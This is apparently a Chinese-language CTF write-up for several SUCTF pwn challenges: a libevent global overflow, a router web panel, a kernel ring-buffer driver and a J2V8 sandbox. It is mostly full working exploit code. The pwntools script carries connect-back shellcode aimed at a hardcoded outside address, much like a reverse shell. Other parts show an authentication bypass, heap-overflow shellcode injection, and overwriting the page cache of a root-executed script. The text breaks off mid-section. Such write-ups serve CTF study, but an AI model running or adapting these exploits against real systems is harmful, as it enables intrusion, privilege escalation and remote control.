void *dummy_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
uint64_t dummy_arg = (uint64_t)dummy_page;
if (ioctl(target_fd, CHRONOS_PIN_PAGE, &dummy_arg) < 0) {
perror("[-] ioctl pin page");
exit(-1);
}
printf("[*] Creating View...\n");
if (ioctl(target_fd, CHRONOS_CREATE_VIEW, 0) < 0) {
perror("[-] ioctl create view");
exit(-1);
}
printf("[*] Syncing payload to /tmp/job cache...\n");
struct arg_sync sync_payload = {0};
sync_payload.size = payload_len;
sync_payload.offset = 0;
if (ioctl(target_fd, CHRONOS_SYNC_VIEW, &sync_payload) < 0) {
perror("[-] ioctl sync view");
exit(-1);
}
printf("[+] Overwrite successful! Waiting for root helper loop (max 4 seconds)...\n");
for (int i = 0; i < 5; i++) {
sleep(1);
int flag_fd = open("/tmp/flag", O_RDONLY);
if (flag_fd >= 0) {
char flag_buf[256] = {0};
read(flag_fd, flag_buf, sizeof(flag_buf) - 1);
printf("\n[+++++++++++++++ FLAG +++++++++++++++]\n");
printf("%s", flag_buf);
printf("[++++++++++++++++++++++++++++++++++++]\n");
close(flag_fd);
exit(0);
}
printf(".");
fflush(stdout);
}
printf("\n[-] Timeout. Something went wrong...\n");
}
int main()
{
exploit();
return 0;
}
SU_evbuffer
0x13A4 处的函数 send_data_with_hostname 的 recv_len 用户可控,a1 参数是 &unk_4078,当 recv_len 很大时将导致全局变量溢出。
// 0x13A4
unsigned __int64 __fastcall send_data_with_hostname(__int64 a1, _BYTE *a2, int recv_len, const struct sockaddr *a4)
{
...
v14 = __readfsqword(0x28u);
if ( recv_len > 0 )
{
a2[recv_len] = 0;
s = malloc(0x50uLL);
if ( s )
{
memset(s, 0, 0x50uLL);
if ( inet_pton(2, a2, (char *)s + 4) )
{
...
memcpy((void *)a1, a2, recv_len);
...
}
利用脚本:
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
host = '101.245.104.190'
tcp_port = 10003
udp_port = 10013
sh = remote(host, tcp_port)
sh.send(b'127.0.0.1\0')
response = sh.recvn(0x50)
sh.close()
libevent = u64(response[0x48:0x48+8]) - 0x13b1a
success('libevent: ' + hex(libevent))
libc = libevent - 0x249000
success('libc: ' + hex(libc))
sh = remote(host, udp_port, typ="udp")
sh.send(b'127.0.0.1\0')
response = sh.recvn(0x50)
sh.close()
stack_addr = u64(response[0x40:0x40+8]) - 0x3e0
success('stack_addr: ' + hex(stack_addr))
if (libevent & (0xfff)) != 0:
raise EOFError
sh = remote(host, tcp_port)
sh.send(b'127.0.0.1\0' + cyclic(0x2e-0x18) + p64(1) + p64(stack_addr-0x118 + 8) + flat(
{
0x0:p64(0),
0x8:p64(stack_addr),
0x10:p64(stack_addr),
0x30:p64(0),
0x68:p64(stack_addr&(~0xfff)),
0x70:p64(0x1000),
0x78:p64(stack_addr+0x100),
0x88:p64(7),
0xa0:p64(stack_addr+0x1d0),
0xa8:p64(libc+0x11eb20),
0xe0:p64(stack_addr),
0x100:p64(stack_addr+0x100),
0x100+0x10:p64(libc + 0x539e0),
0x100+0x20:p64(1),
0x1c0:b'\0' * 0x10,
0x1d0:p64(stack_addr+0x1f0),
0x1f0:asm(
'''
;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xor esi, esi
mul rsi
inc esi
mov edi, esi
inc edi
mov al, 41 ;// SYS_socket
syscall
;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
mov edi, eax
mov rbx, 0x9f0ca208c9ea0002 ;// IP address + Port + Protocol
push rbx
mov rsi, rsp
mov dl, 16
mov al, 42 ;// SYS_connect
syscall
;// dup2(soc, 0)
xor esi, esi
mov al, 33 ;// SYS_dup2
syscall
;// dup2(soc, 1)
inc esi
mov al, 33 ;// SYS_dup2
syscall
;// dup2(soc, 2)
inc esi
mov al, 33 ;// SYS_dup2
syscall
mov eax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor eax, eax
mov esi, eax
mov al, 2
syscall ;// open
push rax
mov rsi, rsp
xor eax, eax
mov edx, eax
inc eax
mov edi, eax
mov dl, 8
syscall ;// write open() return value
pop rax
test rax, rax
js over
mov edi, eax
mov rsi, rsp
mov edx, 0x01010201
sub edx, 0x01010101
xor eax, eax
syscall ;// read
mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
syscall ;// write
over:
xor edi, edi
mov eax, 0x010101e8
sub eax, 0x01010101
syscall ;// exit
'''),
},filler=b'\0'))
sh.close()
# flag{80e59f78-d2a3-4e6a-bbbf-8027d25c2b9b}
SU_EzRouter
打开环境发现是 路由器后台管理系统http服务

卡在登录界面,常规弱口令爆了一圈没出来,这个时候看网络请求

如果把auth=0改成auth=1就能绕过认证。

进入后台后可以下载固件。
其中有一个 http 文件,这个文件就是http服务的文件。 handle_cgi 函数中,如果访问路径是 /cgi-bin/...便会运行相应文件。
if ( !strncmp(dest, "/cgi-bin", 8u) )
{
p__ = v65;
if ( !v65[0] )
p__ = "/";
}
if ( (unsigned int)safe_path("./www/cgi-bin", p__, file, 0x1000u) )
{
if ( !stat(file, &buf) && (buf.st_mode & 0x40) != 0 )
{
*(_QWORD *)nptr = 48;
..............
if ( pipe(pipedes) >= 0 )
{
pid = fork();
if ( !pid )
{
close(pipedes[1]);
dup2(pipedes[0], 0);
dup2(fd, 1);
snprintf(s, 0x80u, "REQUEST_METHOD=%s", s1);
snprintf(s_, 0x80u, "CONTENT_LENGTH=%d", v9);
..............
envp[0] = s;
envp[1] = s_;
..............
execve(file, argv, envp);
exit(1);
}
在cgi文件中查看,大部分文件最后会调用CFG_SET函数,mainproc文件中存在CFG_GET函数,推断这两个函数是用来进程间信息传递的。
经分析后发现,CFG_SET(__int64 a1, char *p_s, __int64 n)中a1为操作码,p_s为传输字符串,n代表长度,CFG_GET函数会收到n+0xc长度的数据,第1-8位为操作码,9-12位为长度,后面的内容才是p_s字符串的内容。
观察mainproc文件
在_init_array中存在make_heap_executable函数
unsigned __int64 make_heap_executable()
{
unsigned __int64 ptr; // [rsp+8h] [rbp-28h]
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
ptr = (unsigned __int64)malloc(0xF000u);
sbrk(0);
mprotect((void *)(ptr & 0xFFFFFFFFFFFFF000LL), 0x21000u, 7);
free((void *)ptr);
return v2 - __readfsqword(0x28u);
}
发现把堆空间设置成了可执行,那就可以合理推测mainproc就是真正触发漏洞利用的地方。
在函数Set_VPN中和Apply_VPN函数中分别定义和调用了函数指针
/* set_vpn */
*(_QWORD *)(::vpn_list + 16) = default_vpn_apply;
/* apply_vpn */
(*(void (__fastcall **)(__int64))(vpn_list + 16))(vpn_list);
推测如果我们能劫持这个函数指针,便可以实现劫持程序流,加上在堆上写shellcode,如果程序流能跳转到堆上便可以执行写好的shellcode。
SET_VPN函数中调用了strcpy函数
strcpy((char *)(::vpn_list + 0xC8), (const char *)(p_s + 0xBC));
偏移位置为0xE8为custom字段的堆地址,并且能通过Edit_VPN_Custom修改该地址内的内容,推测strcpy函数可能会溢出修改其地址指针使其指向(vpn_list + 16)处的函数指针,然后通过Edit_VPN_Custom就能修改函数指针。
观察vpn.cgi文件
extract_json_string((const char *)ptr, "pass", &s[0xB0], 0x20u);
extract_json_string((const char *)ptr, "cert", &s[0xD0], 8u);
会从把"pass"数据提取成字符串,但是长度有限制,0x20刚好溢出不了,观察extract_json_string发现,如果长度刚好达到极限并不会给结尾置零,所以能触发溢出。
但是因为地址不知道,我们只能将cert字段开头设置成\x00,即把custom字段的堆地址末尾置零,经过一定的风水(Add_MAC、Set_WIFI函数能创建堆块),便能使这个堆地址指向目标地址。

接下来便能劫持函数指针了,接下来因为没有程序运行基址,只能爆破低二字节1/16的概率(注意在Edit_VPN_Custom函数中使用的是memcpy函数,所以结尾不会置零)
在Apply_VPN中将vpn_list作为参数传进去了,所以只要能有jmp rdi和jmp rax这种gadget,便能跳转到堆上的shellcode。
这里因为vpn_list前几字节是custom字段长度无法大量控制,所以控制custom字段长度为0x7eb(jmp $+9)跳转到vpn_list+9处即cert字段地址+1处(cert+0处设置为\x00,前文有说),后面再jmp一下到自己精心布置好的shellcode。
shellcode写的时候要看dockerfile文件(记录了文件的地址路径在哪),因为他不出网,我们只能将index.html修改成flag,这样访问index.html时能看到flag
注:因为要爆破,所以这个题cgi-bin文件里有一个restart.sh文件,访问这个路径便能重新启动mainproc程序。

Flag: SUCTF{ExCeED_4UThOR1Ty_W1tH_1pc}
Exp:
from pwn import *
import requests
context.arch = 'amd64'
session = None
def login():
url = f"{session.base_url}/www/http?action=login&auth=1"
session.get(url, allow_redirects=False)
return session.cookies
def set_vpn(passwd, cert, custom):
url = f"{session.base_url}/cgi-bin/vpn.cgi"
payload = {
"action": "set",
"name": "0xa6",
"proto": "abcd",
"server": "1",
"user": "0xa6",
"pass": passwd,
"cert": cert,
"custom": custom
}
resp = session.post(url, json=payload)
return resp.json()
def edit_vpn(custom_content):
url = f"{session.base_url}/cgi-bin/vpn.cgi"
payload = {
"action": "edit",
"custom": custom_content
}
resp = session.post(url, json=payload)
return resp.json()
def apply_vpn():
url = f"{session.base_url}/cgi-bin/vpn.cgi"
payload = {
"action": "apply"
}
resp = session.post(url, json=payload)
return resp.json()
def wifi():
url = f"{session.base_url}/cgi-bin/wifi.cgi"
payload = {
"action": "save",
"ssid": "123",
"password": "123321"
}
resp = session.post(url, data=payload)
return resp.json()
def add(idx):
url = f"{session.base_url}/cgi-bin/list.cgi"
payload = {
"action": "add_black",
"idx": idx,
"mac": "123",
"note": "0xa8"
}
resp = session.post(url, data=payload)
return resp.json()
def generate_shellcode():
shellcode = shellcraft.open('/app/flag', 0)
shellcode += 'mov r12, rax\n'
flags = 0x41 | 0x200
mode = 0o644
shellcode += shellcraft.open('/app/www/index.html', flags, mode)
shellcode += 'mov r13, rax\n'
shellcode += 'mov dx, 0x210\n'
shellcode += 'sub rsp, rdx\n'
shellcode += shellcraft.read('r12', 'rsp', 'rdx')
shellcode += shellcraft.write('r13', 'rsp', 'rax')
shellcode = asm(shellcode)
return shellcode
def exploit():
global session
session = requests.Session()
session.base_url = "http://web-a23c8af4e7.adworld.xctf.org.cn:80"
shellcode = generate_shellcode()
escaped = ''.join(f'\\x{b:02x}' for b in shellcode)
padding = "a" * (0x7eb - len(shellcode))
payload = escaped + padding
print(payload)
print(login())
print(wifi())
print(add("0"))
print(add("1"))
print(add("2"))
print(set_vpn("0" * 0x20, "\\x00\\xe9\\xf2", payload))
print(edit_vpn("\\x30\\x53"))
print(apply_vpn())
if __name__ == "__main__":
exploit()
SU_Chronos_Ring
先看 init,很快就能发现 /tmp/job
解包以后最关键的逻辑是这段:
insmod /chronos_ring.ko
chmod 666 /dev/chronos_ring
echo "#!/bin/sh" > /tmp/job
echo "echo 'Root helper is running safely...'" >> /tmp/job
chmod 644 /tmp/job
(
while true; do
/bin/sh /tmp/job > /dev/null 2>&1
sleep 3
done
) &
这里直接就能确定目标了
- 普通用户能直接访问 /dev/chronos_ring。
- root 会每 3 秒执行一次 /tmp/job。
- /flag 权限很高,普通用户不能直接读。
所以这题最自然的目标就不是“搞一个复杂的内核 ROP”,而是:
想办法影响 /tmp/job
-> 让 root 帮忙读 flag 或放开权限
ioctl 梳理出来以后,利用方向就更明显了
题目把驱动接口梳理下来,大致如下:
This content is only supported in a Feishu Docs
看到 read_cache_page、view、再加上一个“把 buffer 拷到 view”的接口,其实已经差不多能猜到题目想让人做什么了:
把某个文件页挂到 view
-> 再把可控数据写回去
鉴权逻辑大致是:
ok = (((kfree >> 4) & 0xfffffffffffe0000ULL) ^ user_qword ^ user_dword) == 0xf372fe94f82b3c6eULL;
一开始看到这里,第一反应不是“完了,要泄漏内核地址”,而是先看它到底用了多少位。
结果发现:
- kfree 地址被右移、掩码,熵明显下降。
- 还有对齐,步长固定。
- 用户的低 32 位还能自己控。
所以最后做法很直接,就是枚举:
- seed = 0
- masked_kfree = 0xffffffff81000000 + n * 0x20000
- key = const ^ masked_kfree
这类“看起来像地址鉴权”的逻辑,如果只用了被掩码后的高位,实际上经常不难撞。
0x1008 的关键逻辑是:
memcpy(view->addr + off, buffer->addr + off, len);
if (view->kind == file_page)
set_page_dirty(view->page);
这一步一旦和 0x1004 连起来,意思就非常明确了:
- 0x1004 把文件对应的 page cache 页挂进来。
- 0x1005 给当前 buffer 建一个 view,让后续拷贝有真正落点。
- 0x1008 把 ring buffer 内容复制到这个页。
- set_page_dirty 让内核认定这一页已经被修改。
也就是说,实际上拿到的是一个“改文件 page cache”的稳定原语。
这里还要补一嘴,0x1003 也不是摆设。它是整条 view 相关链上的一环,不是多余步骤。也就是说这题真正危险的地方,不在单个 ioctl,而在几个看起来都“很合法”的接口组合在一起以后,语义已经足够危险了。
逆向的时候还能发现,驱动不是任意文件都给绑,它会对文件名做校验。 这里允许的实际上就是 job,也就是题目作者明确希望你去碰 /tmp/job。
这也解释了为什么题目不是让你直接写 /flag:
- /flag 不让你动。
- /tmp/job 可以动。
- root helper 会主动执行 /tmp/job。
整个利用目标从这里开始就完全收敛了。
最后的流程就是:
- 0x1001 创建 buffer。
- 0x1002 爆破通过鉴权。
- 0x1007 往 buffer 里写 shell 脚本 payload。
- 0x1003 pin 一个用户页。
- 0x1004 绑定 /tmp/job 的第 0 页。
- 0x1005 创建 view。
- 0x1008 把 buffer 内容拷进这个 view,也就是改 /tmp/job 的 page cache。
- 等 root helper 执行这个脚本。
- 普通用户再去读 /flag。
题目实际写入的 payload 很简单:
#!/bin/sh
chmod 644 /flag
最终exp如下
#include <stdint.h>
#define AT_FDCWD -100
#define O_RDONLY 0
#define O_RDWR 2
#define SYS_read 0
#define SYS_write 1
#define SYS_close 3
#define SYS_ioctl 16
#define SYS_nanosleep 35
#define SYS_openat 257
#define SYS_exit 60
#define CHRONOS_CREATE 0x1001
#define CHRONOS_AUTH 0x1002
#define CHRONOS_PIN_USER 0x1003
#define CHRONOS_ATTACH_FILE 0x1004
#define CHRONOS_MAKE_VIEW 0x1005
#define CHRONOS_COPY_TO_VIEW 0x1008
struct timespec {
int64_t tv_sec;
int64_t tv_nsec;
};
struct auth_req {
uint64_t key;
uint32_t seed;
uint32_t pad;
};
struct write_req {
uint64_t user_buf;
uint32_t len;
uint32_t off;
};
struct attach_req {
int32_t fd;
uint32_t index;
};
struct copy_req {
uint64_t pad;
uint32_t len;
uint32_t off;
};
static const uint64_t auth_const = 0xf372fe94f82b3c6eULL;
static const uint64_t auth_base = 0x0ffffffff8100000ULL;
static const uint64_t auth_step = 0x20000ULL;
static const uint64_t auth_tries = 0x2000ULL;
static const char dev_path[] = "/dev/chronos_ring";
static const char job_path[] = "/tmp/job";
static const char flag_path[] = "/flag";
static const char payload[] =
"#!/bin/sh\n"
"chmod 644 /flag\n"
"#\n"
"################################";
static char scratch[0x1000];
static inline long syscall0(long nr) {
long ret;
__asm__ volatile(
"syscall"
: "=a"(ret)
: "a"(nr)
: "rcx", "r11", "memory");
return ret;
}
static inline long syscall1(long nr, long a1) {
long ret;
__asm__ volatile(
"syscall"
: "=a"(ret)
: "a"(nr), "D"(a1)
: "rcx", "r11", "memory");
return ret;
}
static inline long syscall2(long nr, long a1, long a2) {
long ret;
__asm__ volatile(
"syscall"
: "=a"(ret)
: "a"(nr), "D"(a1), "S"(a2)
: "rcx", "r11", "memory");
return ret;
}
static inline long syscall3(long nr, long a1, long a2, long a3) {
long ret;
__asm__ volatile(
"syscall"
: "=a"(ret)
: "a"(nr), "D"(a1), "S"(a2), "d"(a3)
: "rcx", "r11", "memory");
return ret;
}
static inline long syscall4(long nr, long a1, long a2, long a3, long a4) {
long ret;
register long r10 __asm__("r10") = a4;
__asm__ volatile(
"syscall"
: "=a"(ret)
: "a"(nr), "D"(a1), "S"(a2), "d"(a3), "r"(r10)
: "rcx", "r11", "memory");
return ret;
}
static inline long openat(int dirfd, const char *path, int flags, int mode) {
return syscall4(SYS_openat, dirfd, (long)path, flags, mode);
}
static inline long close_fd(int fd) {
return syscall1(SYS_close, fd);
}
static inline long do_ioctl(int fd, unsigned long cmd, void *arg) {
return syscall3(SYS_ioctl, fd, cmd, (long)arg);
}
static inline long read_fd(int fd, void *buf, unsigned long len) {
return syscall3(SYS_read, fd, (long)buf, len);
}
static inline long write_fd(int fd, const void *buf, unsigned long len) {
return syscall3(SYS_write, fd, (long)buf, len);
}
static inline void sleep_secs(long secs) {
struct timespec ts;
ts.tv_sec = secs;
ts.tv_nsec = 0;
syscall2(SYS_nanosleep, (long)&ts, 0);
}
static inline void exit_now(int code) {
syscall1(SYS_exit, code);
__builtin_unreachable();
}
static unsigned long str_len(const char *s) {
unsigned long n = 0;
while (s[n]) {
++n;
}
return n;
}
static void write_str(int fd, const char *s) {
write_fd(fd, s, str_len(s));
}
static void write_flag(void) {
char buf[128];
long fd;
long n;
int tries;
for (tries = 0; tries < 8; ++tries) {
fd = openat(AT_FDCWD, flag_path, O_RDONLY, 0);
if (fd >= 0) {
n = read_fd((int)fd, buf, sizeof(buf));
if (n > 0) {
write_fd(1, buf, (unsigned long)n);
write_fd(1, "\n", 1);
close_fd((int)fd);
exit_now(0);
}
close_fd((int)fd);
}
sleep_secs(1);
}
write_str(2, "failed to read /flag\n");
exit_now(1);
}
static void auth_ring(int fd) {
uint64_t i;
for (i = 0; i < auth_tries; ++i) {
struct auth_req req;
req.key = auth_const ^ (auth_base + i * auth_step);
req.seed = 0;
req.pad = 0;
if (do_ioctl(fd, CHRONOS_AUTH, &req) == 0) {
return;
}
}
write_str(2, "auth failed\n");
exit_now(1);
}
static void fill_payload(int fd) {
struct write_req req;
req.user_buf = (uint64_t)(uintptr_t)payload;
req.len = (uint32_t)(sizeof(payload) - 1);
req.off = 0;
if (do_ioctl(fd, 0x1007, &req) != 0) {
write_str(2, "write failed\n");
exit_now(1);
}
}
static void pin_page(int fd) {
void *ptr = scratch;
if (do_ioctl(fd, CHRONOS_PIN_USER, &ptr) != 0) {
write_str(2, "pin failed\n");
exit_now(1);
}
}
static void attach_job(int fd) {
struct attach_req req;
long jobfd = openat(AT_FDCWD, job_path, O_RDONLY, 0);
if (jobfd < 0) {
write_str(2, "open job failed\n");
exit_now(1);
}
req.fd = (int32_t)jobfd;
req.index = 0;
if (do_ioctl(fd, CHRONOS_ATTACH_FILE, &req) != 0) {
write_str(2, "attach failed\n");
exit_now(1);
}
close_fd((int)jobfd);
}
static void write_view(int fd) {
struct copy_req req;
req.pad = 0;
req.len = (uint32_t)(sizeof(payload) - 1);
req.off = 0;
if (do_ioctl(fd, CHRONOS_COPY_TO_VIEW, &req) != 0) {
write_str(2, "copy failed\n");
exit_now(1);
}
}
void _start(void) {
long fd = openat(AT_FDCWD, dev_path, O_RDWR, 0);
if (fd < 0) {
write_str(2, "open dev failed\n");
exit_now(1);
}
if (do_ioctl((int)fd, CHRONOS_CREATE, 0) != 0) {
write_str(2, "create failed\n");
exit_now(1);
}
auth_ring((int)fd);
fill_payload((int)fd);
pin_page((int)fd);
attach_job((int)fd);
if (do_ioctl((int)fd, CHRONOS_MAKE_VIEW, 0) != 0) {
write_str(2, "make_view failed\n");
exit_now(1);
}
write_view((int)fd);
close_fd((int)fd);
sleep_secs(4);
write_flag();
}
SU_BOX
题目概述
这题表面上看是 Java,但拿到以后很快就能判断它的重心不在 Java 逻辑上,而在 J2V8 这个运行时。
我们这里没有和常规的 v8 调试一样(调试 libj2v8-linux-x86_64.so),因为给了 app,所以我们修改了 app 使其具有打印地址的能力:
gdb --args java -cp /app/classes:/app/lib/linux-x86_64.jar DebugApp
这样启动,最后确认窗口位置的可以通过 gdb 去进行确认。
可以去这样断点看一下这个题目的执行链:
break Java_com_eclipsesource_v8_V8__1executeScript
break Java_com_eclipsesource_v8_V8__1createV8ArrayBufferBackingStore
break Java_com_eclipsesource_v8_V8__1initNewV8ArrayBuffer__JI
break Java_com_eclipsesource_v8_V8__1executeFunction__JJJJ
分析主程序
题目给了 App.java 和 linux-x86_64.jar,主程序几乎就是把 stdin 里的 JavaScript 读出来,然后交给 V8 执行:
// 从标准输入读取用户输入的脚本内容
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
StringBuilder script = new StringBuilder();
String line;
// 持续按行读取输入
while ((line = reader.readLine()) != null) {
// 如果读到 EOF 这一行,就停止读取
if ("EOF".equals(line)) break;
// 限制脚本总大小,防止输入过大
if (script.length() + line.length() > MAX_SCRIPT_SIZE) {
System.out.println("Error: script too large (max 1MB)");
return;
}
// 把当前行追加到脚本内容里,并补一个换行
script.append(line).append("\n");
}
// 创建一个 V8 JavaScript 运行时环境
V8 v8 = V8.createV8Runtime();
// 向 JS 环境注册一个名为 log 的 Java 方法
// 这样 JS 代码里就可以调用 log(...),实际会执行这里的 Java 回调
v8.registerJavaMethod((JavaVoidCallback) (receiver, params) -> {
// 如果传入了参数,就打印第一个参数
if (params.length() > 0) {
System.out.println(params.get(0).toString());
System.out.flush();
}
}, "log");
// 执行前面拼接好的 JS 脚本,并拿到执行结果
Object result = v8.executeScript(script.toString());
构建调试版 App
我们可以看到上述这个 app 功能很简略,我们可以重新改一下这个 app,使其具有调试的功能。
修改之后的完整的源码如下(需要同时修改 Dockerfile 和 sh 文件):
import com.eclipsesource.v8.*;
import sun.misc.Unsafe;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.Locale;
public class DebugApp {
private static final int MAX_SCRIPT_SIZE = 1048576;
private static final Unsafe UNSAFE = getUnsafe();
public static void main(String[] args) throws Exception {
System.out.println(" ____ _ _ ____ ");
System.out.println(" / || | | | __ ) _____ ");
System.out.println(" \\ \\| | | | _ \\ / _ \\ \\/ /");
System.out.println(" ) | || | |) | () > < ");
System.out.println(" |/ \\/|/ \\/_/\\_\\");
System.out.println();
System.out.println("Debug script box. Enter JavaScript below.");
System.out.println("End your input with 'EOF' on a new line.");
System.out.println("Available helpers: log, addr, read64, read32, dump, write64, jgc");
System.out.flush();
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
StringBuilder script = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
if ("EOF".equals(line)) {
break;
}
if (script.length() + line.length() > MAX_SCRIPT_SIZE) {
System.out.println("Error: script too large (max 1MB)");
return;
}
script.append(line).append("\n");
}
if (script.isEmpty()) {
System.out.println("Error: empty script");
return;
}
System.out.println("[*] Executing...");
System.out.flush();
V8 v8 = V8.createV8Runtime();
v8.registerJavaMethod((JavaVoidCallback) (receiver, params) -> {
if (params.length() > 0) {
System.out.println(params.get(0).toString());
System.out.flush();
}
}, "log");
v8.registerJavaMethod((JavaCallback) (receiver, params) -> {
Object obj = params.get(0);
return hex(nativeHandleOf(obj));
}, "addr");
v8.registerJavaMethod((JavaCallback) (receiver, params) -> {
long addr = parseAddr(params.get(0).toString());
return hex(UNSAFE.getLong(addr));
}, "read64");
v8.registerJavaMethod((JavaCallback) (receiver, params) -> {
long addr = parseAddr(params.get(0).toString());
long value = Integer.toUnsignedLong(UNSAFE.getInt(addr));
return hex(value);
}, "read32");
v8.registerJavaMethod((JavaCallback) (receiver, params) -> {
long addr = parseAddr(params.get(0).toString());
int size = params.length() > 1 ? parseSize(params.get(1).toString()) : 0x80;
return dump(addr, size);
}, "dump");
v8.registerJavaMethod((JavaVoidCallback) (receiver, params) -> {
long addr = parseAddr(params.get(0).toString());
long value = parseAddr(params.get(1).toString());
UNSAFE.putLong(addr, value);
}, "write64");
v8.registerJavaMethod((JavaVoidCallback) (receiver, params) -> {
System.gc();
System.runFinalization();
}, "jgc");
try {
Object result = v8.executeScript(script.toString());
if (result instanceof V8Object) {
((V8Object) result).release();
}
} catch (Throwable t) {
System.out.println("Error: " + t);
t.printStackTrace(System.out);
} finally {
if (!v8.isReleased()) {
v8.release();
}
}
}
private static Unsafe getUnsafe() {
try {
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
return (Unsafe) f.get(null);
} catch (Exception e) {
throw new RuntimeException("failed to get Unsafe", e);
}
}
private static long nativeHandleOf(Object obj) {
if (!(obj instanceof V8Value)) {
throw new IllegalArgumentException("addr() expects a V8 object/value");
}
try {
Field f = V8Value.class.getDeclaredField("objectHandle");
f.setAccessible(true);
return f.getLong(obj);
} catch (Exception e) {
throw new RuntimeException("failed to read V8Value.objectHandle", e);
}
}
private static long parseAddr(String text) {
String s = text.trim().toLowerCase(Locale.ROOT);
if (s.startsWith("0x")) {
s = s.substring(2);
}
if (s.isEmpty()) {
return 0L;
}
return Long.parseUnsignedLong(s, 16);
}
private static int parseSize(String text) {
String s = text.trim().toLowerCase(Locale.ROOT);
if (s.startsWith("0x")) {
return Integer.parseUnsignedInt(s.substring(2), 16);
}
return Integer.parseInt(s);
}
private static String hex(long value) {
return "0x" + Long.toUnsignedString(value, 16);
}
private static String dump(long addr, int size) {
StringBuilder sb = new StringBuilder();
for (int off = 0; off < size; off += 16) {
sb.append(hex(addr + off)).append(": ");
for (int i = 0; i < 16 && off + i < size; i++) {
int b = UNSAFE.getByte(addr + off + i) & 0xff;
if (i != 0) {
sb.append(' ');
}
if (b < 0x10) {
sb.append('0');
}
sb.append(Integer.toHexString(b));
}
if (off + 16 < size) {
sb.append('\n');
}
}
return sb.toString();
}
}
验证调试能力
这里我们就有了在脚本中打印我们想要的内容的能力了。
经过修改之后我们可以打印地址:
@'
let o = {};
log("addr(o)=" + addr(o));
EOF
'@ | docker run --rm -i su_box_debug
输出示例:
Debug script box. Enter JavaScript below.
Available helpers: log, addr, read64, read32, dump, write64, jgc
[*] Executing...
addr(o)=0x....
调试辅助函数一览
总体上给我们提供的能力如下:
log(x)—— 原题里就有,只是打印字符串或对象的toString()。addr(obj)—— 返回一个V8Value对应的 nativeobjectHandle,这就是”打印地址能力”。read64(addr)—— 按 8 字节读任意地址内容,返回十六进制字符串。read32(addr)—— 按 4 字节读任意地址内容,返回十六进制字符串。dump(addr, size)—— 从任意地址开始 dump 一段内存,方便看对象头和字段布局。write64(addr, value)—— 往任意地址写 8 字节,这是最危险、也是对 exploit 最有用的那个。jgc()—— 手动触发一次 Java GC / finalization。
GDB 调试思路
然后再补一下 gdb 的调试的思路,下面可以简单的跟着调试一下:
- 创建一个 WebAssembly 实例。
- 创建 ArrayBuffer / DataView。
- 打印一些简单日志,比如 wasm 返回值。
let wasm_code = new Uint8Array([
0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,
128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,
1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,
128,128,0,0,65,42,11
]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;
let ab = new ArrayBuffer(0x1000);
let dv = new DataView(ab);
dv.setUint8(0, 0x41);
log("wasm instance ready");
log("arraybuffer ready");
log("wasm return=" + f());
EOF
接下来:
- 取
wasm_instance、ArrayBuffer、DataView的地址 - 读若干固定偏移,比如
+0x80、+0x28、+0x30 - dump 周围内存
let wasm_code = new Uint8Array([
0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,
128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,
1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,
128,128,0,0,65,42,11
]);
function jsobj(x) {
return BigInt(addr(x));
}
function hex(x) {
return "0x" + (x & 0xffffffffffffffffn).toString(16);
}
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let ab = new ArrayBuffer(0x1000);
let dv = new DataView(ab);
let wasm_base = jsobj(wasm_instance);
let ab_base = jsobj(ab);
let dv_base = jsobj(dv);
log("wasm=" + hex(wasm_base));
log("ab=" + hex(ab_base));
log("dv=" + hex(dv_base));
log("wasm+80=" + read64((wasm_base + 0x80n).toString(16)));
log("ab+28=" + read64((ab_base + 0x28n).toString(16)));
log("dv+30=" + read64((dv_base + 0x30n).toString(16)));
log(dump((wasm_base + 0x70n).toString(16), 0x30));
log(dump((ab_base + 0x20n).toString(16), 0x20));
log(dump((dv_base + 0x28n).toString(16), 0x20));
EOF
GDB 初始化脚本(.gdbinit):
- 预先在几个 JNI 入口函数上打断点
catch syscall mmap / mprotect,观察可执行内存映射- 定义了
subox_ctx命令,一次性看寄存器、栈、当前指令
set pagination off
set breakpoint pending on
set disassemble-next-line on
set print pretty on
set confirm off
handle SIGSEGV stop print nopass
handle SIGABRT stop print nopass
break JNI_OnLoad
break Java_com_eclipsesource_v8_V8__1executeScript
break Java_com_eclipsesource_v8_V8__1executeVoidScript
break Java_com_eclipsesource_v8_V8__1initNewV8ArrayBuffer__JI
break Java_com_eclipsesource_v8_V8__1createV8ArrayBufferBackingStore
break Java_com_eclipsesource_v8_V8__1executeFunction__JJJJ
catch syscall mmap
catch syscall mprotect
define subox_ctx
printf "\n== registers ==\n"
info registers rax rbx rcx rdx rsi rdi rbp rsp rip
printf "\n== stack ==\n"
x/12gx $rsp
printf "\n== code ==\n"
x/10i $pc
end
document subox_ctx
Show the current native context that matters for this challenge.
Use this after stopping at a JNI entry, a syscall catchpoint, or a crash.
end
echo Loaded su_box gdb helpers.\n
echo Suggested commands:\n
echo run < /app/poc_min.in\n
echo bt\n
echo info proc mappings\n
echo subox_ctx\n
利用思路
这个题目的思路如下:
